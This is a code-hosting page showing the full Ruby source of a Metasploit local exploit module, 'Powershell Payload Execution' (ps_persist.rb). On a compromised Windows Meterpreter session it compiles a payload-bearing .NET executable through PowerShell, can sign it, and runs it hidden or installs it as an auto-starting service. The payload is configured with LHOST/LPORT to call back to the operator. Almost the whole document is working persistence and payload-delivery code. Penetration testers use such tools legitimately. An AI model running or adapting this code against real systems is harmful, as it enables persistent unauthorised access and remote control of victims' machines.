rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/local/ps_persist.rb

Summary

Maintainability
C
7 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Services
  include Msf::Post::Windows::Powershell
  include Msf::Post::Windows::Powershell::DotNet
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Powershell Payload Execution",
        'Description' => %q{
          This module generates a dynamic executable on the session host using .NET templates.
          Code is pulled from C# templates and impregnated with a payload before being
          sent to a modified PowerShell session with .NET 4 loaded. The compiler builds
          the executable (standard or Windows service) in memory and produces a binary
          which can be started/installed and downloaded for later use. After compilation the
          PoweShell session can also sign the executable if provided a path the a .pfx formatted
          certificate.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu
          'Matt "hostess" Andreko' # .NET harness, and requested modifications
        ],

        'Payload' => {
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' =>
              {
                'BufferRegister' => 'EAX',
              },
        },
        'Platform' => [ 'windows' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [ [ 'Universal', {} ] ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-08-14',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_fs_stat
              stdapi_sys_config_getenv
              stdapi_sys_config_getsid
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )

    register_options(
      [
        OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]),
        OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']),
        OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']),
        OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]),
        OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]),

      ]
    )

    register_advanced_options(
      [
        OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
        OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
        OptBool.new('BypassUAC', [false, 'Enter credentials to execute envoker in .NET', false]),
        OptString.new('USERNAME', [false, 'Windows username']),
        OptString.new('PASSWORD', [false, 'Windows user password - cleartext']),
        OptString.new('DOMAIN', [false, 'Windows domain or workstation name']),

      ]
    )
  end

  def exploit
    # Make sure we meet the requirements before running the script
    if !(session.type == "meterpreter" || have_powershell?)
      print_error("Incompatible Environment")
      return
    end
    # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
    if client.sys.config.is_system?
      print_error("Cannot run as system")
      return
    end

    # End of file marker
    eof = Rex::Text.rand_text_alpha(8)
    env_suffix = Rex::Text.rand_text_alpha(8)

    com_opts = {}
    com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session
    com_opts[:target] = datastore['OUTPUT_TARGET'] || session.sys.config.getenv('TEMP') + "\\#{Rex::Text.rand_text_alpha(rand(8) + 8)}.exe"
    com_opts[:payload] = payload_script # payload.encoded
    vprint_good com_opts[:payload].length.to_s

    if datastore['SVC_GEN']
      com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
      com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Configuration.Install.dll']
    else
      com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_exe.cs')
    end

    com_opts[:cert] = datastore['CERT_PATH']

    if datastore['SVC_REMOVE']
      remove_dyn_service(com_opts[:target])
      return
    end
    vprint_good("Writing to #{com_opts[:target]}")

    com_script = dot_net_compiler(com_opts)
    ps_out = psh_exec(com_script)

    if datastore['Powershell::Post::dry_run']
      print_good com_script
      print_error ps_out
      return
    end
    # Check for result
    begin
      size = session.fs.file.stat(com_opts[:target].gsub('\\', '\\\\')).size
      vprint_good("File #{com_opts[:target].gsub('\\', '\\\\')} found, #{size}kb")
    rescue
      print_error("File #{com_opts[:target].gsub('\\', '\\\\')} not found")
      return
    end

    # Run the harness
    if datastore['START_APP']
      if datastore['SVC_GEN']
        service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\', '\\\\'), startup = 2, server = nil)
        if service_start(datastore['SVC_NAME']).to_i == 0
          vprint_good("Service Started")
        end
      else
        session.sys.process.execute(com_opts[:target].gsub('\\', '\\\\'), nil, { 'Hidden' => true, 'Channelized' => true })
      end
    end

    print_good('Finished!')
  end

  # This should be handled by the exploit mixin, right?
  def payload_script
    pay_mod = framework.payloads.create(datastore['PAYLOAD'])
    payload = pay_mod.generate_simple(
      "BadChars" => '',
      "Format" => 'raw',
      "Encoder" => 'x86/alpha_mixed',
      "ForceEncode" => true,
      "Options" =>
       {
         'LHOST' => datastore['LHOST'],
         'LPORT' => datastore['LPORT'],
         'EXITFUNC' => 'thread',
         'BufferRegister' => 'EAX'
       },
    )

    # To ensure compatibility out payload should be US-ASCII
    return payload.encode('ASCII')
  end

  # Local service functionality should probably be replaced with upstream Post
  def remove_dyn_service(file_path)
    service_stop(datastore['SVC_NAME'])
    if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0
      vprint_good("Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\', '\\\\')}")
      session.fs.file.rm(file_path.gsub('\\', '\\\\'))
    else
      print_error("Something went wrong, not deleting #{file_path.gsub('\\', '\\\\')}")
    end
    return
  end

  def install_dyn_service(file_path)
    service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\', '\\\\'), startup = 2, server = nil)
    if service_start(datastore['SVC_NAME']).to_i == 0
      vprint_good("Service Binary #{file_path} Started")
    end
  end
end